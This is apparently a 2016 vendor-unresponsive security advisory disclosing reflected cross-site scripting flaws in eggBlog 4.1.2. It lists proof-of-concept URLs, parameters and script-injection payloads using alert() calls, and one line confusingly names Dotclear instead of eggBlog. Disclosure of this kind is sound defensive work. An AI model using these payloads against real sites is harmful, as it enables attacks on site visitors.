Multiple Reflected XSS Vulnerabilities in eggBlog 4.1.2


Advisory by Netsparker (now Invicti)
Name: Multiple Reflected XSS Vulnerabilities in eggBlog
Affected Software: eggBlog
Affected Versions: 4.1.2
Vendor Homepage: 
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Not Fixed
Invicti Advisory Reference: NS-16-019

Technical Details

Proof of Concept URLs for XSS vulnerabilities in Dotclear;

URL: /eggblog/_lib/openwysiwyg/addons/imagelibrary/insert_image.php?wysiwyg='"--></style></scRipt><scRipt>alert(0x0034DC)</scRipt>
Parameter Name: wysiwyg
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x0034DC)</scRipt>

URL: /eggblog/_lib/openwysiwyg/addons/imagelibrary/insert_image.php?wysiwyg=text
Parameter Name: dir
Parameter Type: POST
Attack Pattern: x'" onmouseover=alert(9)

URL: /eggblog/_lib/openwysiwyg/addons/imagelibrary/insert_image.php/'"--></style></scRipt><scRipt>alert(0x00299C)</scRipt>
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: /'"--></style></scRipt><scRipt>alert(0x00299C)</scRipt>

URL: /eggblog/news.php?id=1
Parameter Name: title
Parameter Type: POST
Attack Pattern: <scRipt>alert(0x0027FE)</scRipt>

URL: /eggblog/news.php?id=1
Parameter Name: text
Parameter Type: POST
Attack Pattern: <scRipt>alert(0x0035F9)</scRipt>

For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).

Advisory Timeline

28 Jun 2016 – Issue reported
Jul – Sep 2016 – Several attempts to get in touch
05 Oct 2016 – Advisory released

Credits & Authors

This issue has been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

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